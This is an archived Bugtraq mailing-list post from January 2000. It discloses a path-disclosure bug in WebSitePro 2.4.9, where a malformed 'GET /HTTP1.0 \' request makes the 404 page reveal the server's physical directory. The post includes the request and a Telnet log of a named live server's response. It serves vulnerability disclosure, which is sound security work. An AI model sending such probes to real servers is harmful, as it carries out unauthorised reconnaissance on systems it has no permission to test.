OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq Archives: Re: WebSitePro/2.3.18 + 2.4.9 is revealing We

Re: WebSitePro/2.3.18 + 2.4.9 is revealing Webdirectories

Subject: Re: WebSitePro/2.3.18 + 2.4.9 is revealing Webdirectories
From: Lark Lizerman (webmasterDOC2000.DE)
Date: Fri Jan 14 2000 - 00:23:45 CST

I got a tip from Noah Rathaus about WebSite Pro latest version(2.4.9). He mentioned a server
where WebSite Pro. 2.4.9 is run.
I discovered, that also the latest version is vulnerable to the bug of revealing webdirectories.
In the new version there must be made a change to retrieve the directoryname.

When you connect to a server send the command line:

GET /HTTP1.0 \

You have now to add a space before the last backspace of the commandline.
That makes the server respond with a "404" error and and prints the directoryname.

Here is the part from the logfile of Windows Telnet Client:

website.oreilly.com:
----------------------------------------------------start-------------------------------------------------------

GET /HTTP1.0 \
 
HTTP/1.0 404 Not Found
Date: Thu, 13 Jan 2000 20:47:12 GMT
Server: WebSitePro/2.4.9
Accept-ranges: bytes
Content-type: text/html
Content-length: 216
 
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
                                               <BODY bgcolor="White"><H2>404 Not
 Found</H2>
           The requested URL was not found on this server:<P><CODE>/HTTP1.0<P>(c
:\1Web\docs\website\HTTP1.0)</CODE><P>
                                      </BODY></HTML>
--------------------------------------------------end--------------------------------------------------------

Here it shows us the directory "c:\1Web\docs\website\".

Status: Vendor contacted and informed about the bug.
Expecting statement about fix.

-------------------------------
Lark Lizerman
Contact:
Lark82hotmail.com
or
webmasterdoc2000.de
-------------------------------

This archive was generated by hypermail 2b27 : Fri Jan 14 2000 - 21:07:52 CST